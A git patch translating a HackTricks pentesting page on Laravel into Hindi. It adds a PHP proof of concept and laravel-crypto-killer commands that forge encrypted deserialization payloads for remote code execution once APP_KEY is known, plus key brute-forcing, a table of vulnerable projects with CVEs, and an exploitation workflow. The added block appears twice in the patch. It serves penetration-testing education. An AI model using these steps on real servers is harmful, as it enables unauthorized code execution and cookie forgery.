From 20f3c3675615b03f058b8401470da15aabbc434d Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 10 Jul 2025 12:39:31 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/laravel.md'] --- .../pentesting-web/laravel.md | 179 +++++++++++++++++- 1 file changed, 173 insertions(+), 6 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 8f220bf7b..70fae3e4f 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -1,13 +1,98 @@ # Laravel +{{#include /banners/hacktricks-training.md}} + +### Laravel SQLInjection + +इस बारे में जानकारी यहाँ पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + +--- + +## APP_KEY & Encryption internals (Laravel \u003e=5.6) + +Laravel AES-256-CBC (या GCM) का उपयोग करता है जिसमें HMAC अखंडता होती है (`Illuminate\\Encryption\\Encrypter`)। +कच्चा ciphertext जो अंततः **क्लाइंट को भेजा जाता है** वह **Base64 का एक JSON ऑब्जेक्ट** होता है जैसे: +```json +{ +"iv" : "Base64(random 16-byte IV)", +"value": "Base64(ciphertext)", +"mac" : "HMAC_SHA256(iv||value, APP_KEY)", +"tag" : "" // only used for AEAD ciphers (GCM) +} +``` +`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से plaintext को `serialize()` करेगा, जबकि `decrypt($payload, $unserialize=true)` **स्वतः `unserialize()`** decrypted value करेगा। इसलिए **कोई भी हमलावर जो 32-बाइट गुप्त `APP_KEY` को जानता है, एक encrypted PHP serialized object बना सकता है और जादुई विधियों (`__wakeup`, `__destruct`, …) के माध्यम से RCE प्राप्त कर सकता है।** + +Minimal PoC (framework ≥9.x): +```php +use Illuminate\Support\Facades\Crypt; + +$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste +``` +उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` सिंक (रूट पैरामीटर, कुकी, सत्र, ...) में इंजेक्ट करें। + +--- + +## laravel-crypto-killer 🧨 +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) पूरे प्रक्रिया को स्वचालित करता है और एक सुविधाजनक **bruteforce** मोड जोड़ता है: +```bash +# Encrypt a phpggc chain with a known APP_KEY +laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" + +# Decrypt a captured cookie / token +laravel_crypto_killer.py decrypt -k -v + +# Try a word-list of keys against a token (offline) +laravel_crypto_killer.py bruteforce -v -kf appkeys.txt +``` +The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field. + +--- + +## वास्तविक दुनिया के कमजोर पैटर्न + +| प्रोजेक्ट | कमजोर सिंग | गैजेट श्रृंखला | +|---------|-----------------|--------------| +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` कुकी जब `Passport::withCookieSerialization()` सक्षम है | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` कुकी | Laravel/RCE15 | + +शोषण कार्यप्रवाह हमेशा होता है: +1. `APP_KEY` प्राप्त करें (डिफ़ॉल्ट उदाहरण, Git लीक, config/.env लीक, या ब्रूट-फोर्स) +2. **PHPGGC** के साथ गैजेट उत्पन्न करें +3. `laravel_crypto_killer.py encrypt …` +4. कमजोर पैरामीटर/कुकी के माध्यम से पेलोड वितरित करें → **RCE** + +--- + +## कुकी ब्रूट-फोर्स के माध्यम से मास APP_KEY खोज + +क्योंकि हर ताजा Laravel प्रतिक्रिया कम से कम 1 एन्क्रिप्टेड कुकी सेट करती है (`XSRF-TOKEN` और आमतौर पर `laravel_session`), **सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं** जिन्हें ऑफ़लाइन हमला किया जा सकता है। + +Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025): +* डेटा सेट जुलाई 2024 » 580 k टोकन, **3.99 % कुंजी क्रैक की गई** (≈23 k) +* डेटा सेट मई 2025 » 625 k टोकन, **3.56 % कुंजी क्रैक की गई** +* >1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे सीरियलाइज्ड डेटा को शामिल करते हैं। +* विशाल कुंजी पुन: उपयोग – शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं। + +निजी Go टूल **nounours** AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 मिनट तक कम करता है। + +--- + +## संदर्भ +* [Laravel: APP_KEY लीक विश्लेषण](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) +* [PHPGGC – PHP सामान्य गैजेट श्रृंखलाएँ](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 लेख (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) + {{#include ../../banners/hacktricks-training.md}} -## Laravel Tricks +## Laravel ट्रिक्स -### Debugging mode +### डिबगिंग मोड -यदि Laravel **debugging mode** में है, तो आप **code** और **sensitive data** तक पहुँच सकते हैं।\ +यदि Laravel **डिबगिंग मोड** में है तो आप **कोड** और **संवेदनशील डेटा** तक पहुँच सकते हैं।\ उदाहरण के लिए `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) @@ -16,13 +101,13 @@ ### .env -Laravel APP को कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए एक फ़ाइल में `.env` के नाम से सहेजता है, जिसे कुछ पथ ट्रैवर्सल का उपयोग करके पहुँचा जा सकता है: `/../.env` +Laravel उस APP को एक फ़ाइल में सहेजता है जिसका उपयोग वह कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए करता है जिसे `.env` कहा जाता है जिसे कुछ पथ यात्रा के तहत एक्सेस किया जा सकता है: `/../.env` -Laravel इस जानकारी को डिबग पृष्ठ के अंदर भी दिखाएगा (जो तब प्रकट होता है जब Laravel को कोई त्रुटि मिलती है और यह सक्रिय होता है)। +Laravel इस जानकारी को डिबग पृष्ठ के अंदर भी दिखाएगा (जो तब प्रकट होता है जब Laravel एक त्रुटि पाता है और यह सक्रिय होता है)। Laravel के गुप्त APP_KEY का उपयोग करके आप कुकीज़ को डिक्रिप्ट और फिर से एन्क्रिप्ट कर सकते हैं: -### Decrypt Cookie +### कुकी डिक्रिप्ट करें ```python import os import json @@ -98,5 +183,87 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 इस बारे में जानकारी पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +### Laravel SQLInjection + +इस बारे में जानकारी पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + +--- + +## APP_KEY & Encryption internals (Laravel \u003e=5.6) + +Laravel AES-256-CBC (या GCM) का उपयोग करता है जिसमें HMAC अखंडता होती है (`Illuminate\\Encryption\\Encrypter`)। +कच्चा ciphertext जो अंततः **क्लाइंट को भेजा जाता है** वह **Base64 का एक JSON ऑब्जेक्ट** होता है जैसे: +```json +{ +"iv" : "Base64(random 16-byte IV)", +"value": "Base64(ciphertext)", +"mac" : "HMAC_SHA256(iv||value, APP_KEY)", +"tag" : "" // only used for AEAD ciphers (GCM) +} +``` +`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से plaintext को `serialize()` करेगा, जबकि `decrypt($payload, $unserialize=true)` **स्वतः `unserialize()`** करेगा decrypted value को। इसलिए **कोई भी हमलावर जो 32-बाइट गुप्त `APP_KEY` को जानता है, एक encrypted PHP serialized object तैयार कर सकता है और जादुई विधियों (`__wakeup`, `__destruct`, …) के माध्यम से RCE प्राप्त कर सकता है।** + +Minimal PoC (framework ≥9.x): +```php +use Illuminate\Support\Facades\Crypt; + +$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste +``` +उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` सिंक (रूट पैरामीटर, कुकी, सत्र, ...) में इंजेक्ट करें। + +--- + +## laravel-crypto-killer 🧨 +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) पूरे प्रक्रिया को स्वचालित करता है और एक सुविधाजनक **bruteforce** मोड जोड़ता है: +```bash +# Encrypt a phpggc chain with a known APP_KEY +laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" + +# Decrypt a captured cookie / token +laravel_crypto_killer.py decrypt -k -v + +# Try a word-list of keys against a token (offline) +laravel_crypto_killer.py bruteforce -v -kf appkeys.txt +``` +The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field. + +--- + +## वास्तविक दुनिया के कमजोर पैटर्न + +| प्रोजेक्ट | कमजोर सिंग | गैजेट श्रृंखला | +|---------|-----------------|--------------| +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` कुकी जब `Passport::withCookieSerialization()` सक्षम है | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` कुकी | Laravel/RCE15 | + +शोषण कार्यप्रवाह हमेशा होता है: +1. `APP_KEY` प्राप्त करें (डिफ़ॉल्ट उदाहरण, Git लीक, config/.env लीक, या ब्रूट-फोर्स) +2. **PHPGGC** के साथ गैजेट उत्पन्न करें +3. `laravel_crypto_killer.py encrypt …` +4. कमजोर पैरामीटर/कुकी के माध्यम से पेलोड वितरित करें → **RCE** + +--- + +## कुकी ब्रूट-फोर्स के माध्यम से मास APP_KEY खोज + +क्योंकि हर ताजा Laravel प्रतिक्रिया कम से कम 1 एन्क्रिप्टेड कुकी सेट करती है (`XSRF-TOKEN` और आमतौर पर `laravel_session`), **सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं** जिन्हें ऑफ़लाइन हमला किया जा सकता है। + +Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025): +* डेटा सेट जुलाई 2024 » 580 k टोकन, **3.99 % कुंजी क्रैक की गई** (≈23 k) +* डेटा सेट मई 2025 » 625 k टोकन, **3.56 % कुंजी क्रैक की गई** +* >1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे सीरियलाइज्ड डेटा को शामिल करते हैं। +* विशाल कुंजी पुन: उपयोग – शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं। + +निजी Go टूल **nounours** AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 मिनट तक कम करता है। + +--- + +## संदर्भ +* [Laravel: APP_KEY लीक विश्लेषण](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) +* [PHPGGC – PHP सामान्य गैजेट श्रृंखलाएँ](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 लेख (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) {{#include ../../banners/hacktricks-training.md}}